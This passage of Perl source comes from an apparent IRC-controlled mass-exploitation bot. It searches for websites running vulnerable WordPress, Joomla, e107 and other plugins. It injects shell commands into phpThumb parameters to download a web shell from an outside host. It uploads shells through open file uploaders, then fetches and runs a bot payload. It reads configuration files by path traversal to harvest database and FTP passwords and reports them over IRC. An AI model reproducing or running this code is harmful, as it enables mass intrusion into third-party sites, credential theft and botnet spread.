sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$phpthumblogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$phpthumblogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub yt_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ytlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ytlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."components/com_flexicontent/libraries/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."components/com_flexicontent/libraries/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."components/com_flexicontent/libraries/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."components/com_flexicontent/libraries/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=yt"; &get_content($sender); &msg("$admin","$ytlogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ytlogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub jgfw_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jgfwlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$jgfwlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/verycreative/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/verycreative/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/verycreative/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/verycreative/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb"; &get_content($sender); &msg("$admin","$jgfwlogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$jgfwlogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub zogo_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zogologo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$zogologo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."e107_plugins/zogo-shop/images/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."e107_plugins/zogo-shop/images/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."e107_plugins/zogo-shop/images/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."e107_plugins/zogo-shop/images/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb"; &get_content($sender); &msg("$admin","$zogologo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$zogologo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub assets_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$assetslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$assetslogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."assets/global/plugins/jquery-file-upload/server/php/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."assets/global/plugins/jquery-file-upload/server/php/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."assets/global/plugins/jquery-file-upload/server/php/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$assetslogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$assetslogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$assetslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub assets1_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$assets1logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$assets1logo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."themes/sprflat/assets/server/php/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."themes/sprflat/assets/server/php/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."themes/sprflat/assets/server/php/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$assets1logo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$assets1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$assets1logo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$assets1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$assets1logo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub zionis_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zionislogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$zionislogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/viral-optins/api/uploader/file-uploader.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['Filedata' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ //) { my $check = $ua->get("http://".$site."wp-content/uploads/2017/08/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/uploads/2017/08/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$zionislogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$zionislogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$zionislogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$zionislogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$zionislogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub fluidforms_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$fluidformslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$fluidformslogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/fluid_forms/file-upload/server/php/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['files' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /DELETE/) { my $check = $ua->get("http://".$site."wp-content/plugins/fluid_forms/file-upload/server/php/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/fluid_forms/file-upload/server/php/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$fluidformslogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$fluidformslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$fluidformslogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$fluidformslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$fluidformslogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub leon_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$leonlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$leonlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."modules/simpleslideshow/uploadimage.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($bx, ['userfile' => ['pagat.php']],'Content-Type' => 'form-data'); if ($exploit->decoded_content =~ /error/) { my $check = $ua->get("http://".$site."modules/simpleslideshow/slides/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."modules/simpleslideshow/slides/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$leonlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$leonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$leonlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$leonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$leonlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub joomla_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$joomlalogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$joomlalogo4$engine 9Finished 3for 9$dork "); } my $test = "http://".$site."mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../../configuration.php"; my $html = &get_content($test); if ($html =~ /JConfig/i) { my $serverIP =""; if ($html=~ /host = '(.*)';/) {$serverIP=$1;} if ($html =~ /user = '(.*)';/){$user=$1;} if ($html =~ /password = '(.*)';/){$pass=$1;} if ($html =~ /db = '(.*)';/){$dbname=$1;} &msg("$chan","$joomlalogo15$engine 3Database[+] 14http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname.""); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","12[+]$joomlalogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$chan","12[+]$joomlalogo4$engine 12FTP[+]Success send To Admin"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","12[+]$joomlalogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$chan","12[+]$joomlalogo4$engine 12FTP[+]Success send To Admin"); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$joomlalogo);sleep(1); &msg("$chan","!ftp ".$host." ".$user." ".$pass.""); if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$joomlalogo);sleep(1); &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass.""); } } } } } sub wordpress_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$wordpresslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$wordpresslogo4$engine 9Finished 3for 9$dork "); } my $test = "http://".$site."wp-content/plugins/justified-image-grid/download.php?file=../wp-config.php"; my $file = &get_content($test); my $file = &get_content($test); if ($file =~ /DB_HOST/i ) { my $serverIP =""; if ($file =~ m/'DB_NAME', '(.*)'/g) {$dbname=$1;} if ($file =~ m/'DB_USER', '(.*)'/g) {$user=$1;} if ($file =~ m/'DB_PASSWORD', '(.*)'/g) {$pass=$1;} if ($file =~ m/'DB_HOST', '(.*)'/g) {$serverIP=$1;} &msg("$chan","$wordpresslogo15$engine 3Database[+] 14http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname.""); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","12[+]$wordpresslogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$chan","12[+]$wordpresslogo4$engine 12FTP[+]Success send To Admin"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","12[+]$wordpresslogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$chan","12[+]$wordpresslogo4$engine 12FTP[+]Success send To Admin"); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$wordpresslogo);sleep(1); &msg("$chan","!ftp ".$host." ".$user." ".$pass.""); if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$wordpresslogo);sleep(1); &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass.""); } } } } } sub pitchprint_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$pitchprintlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$pitchprintlogo4$engine 12Finished 3for 12$dork "); } my $bx = "http://".$site."wp-content/plugins/pitchprint/uploader/"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $shell = "pagat.php"; my $field_name = "files[]"; my $exploit = $ua->post($bx, Content_Type => 'multipart/form-data', content => [ $field_name => [$shell]]); if ($exploit->decoded_content =~ /files/) { my $check = $ua->get("http://".$site."wp-content/plugins/pitchprint/uploader/files/pagat.php")->content; if($check =~/
/) { my $test = "http://".$site."wp-content/plugins/pitchprint/uploader/files/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$pitchprintlogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$pitchprintlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$pitchprintlogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$pitchprintlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$pitchprintlogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } }exit; } } } } } } sub plog_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ploglogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ploglogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."plog-includes/lib/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."plog-includes/lib/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."plog-includes/lib/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."plog-includes/lib/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb"; &get_content($sender); &msg("$admin","$ploglogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ploglogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub jmultimedia_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jmultimedialogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$jmultimedialogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."components/com_jmultimedia/assets/thumbs/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=jmultimedia"; &get_content($sender); &msg("$admin","$jmultimedialogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$jmultimedialogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub box_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$boxlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$boxlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."js/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; 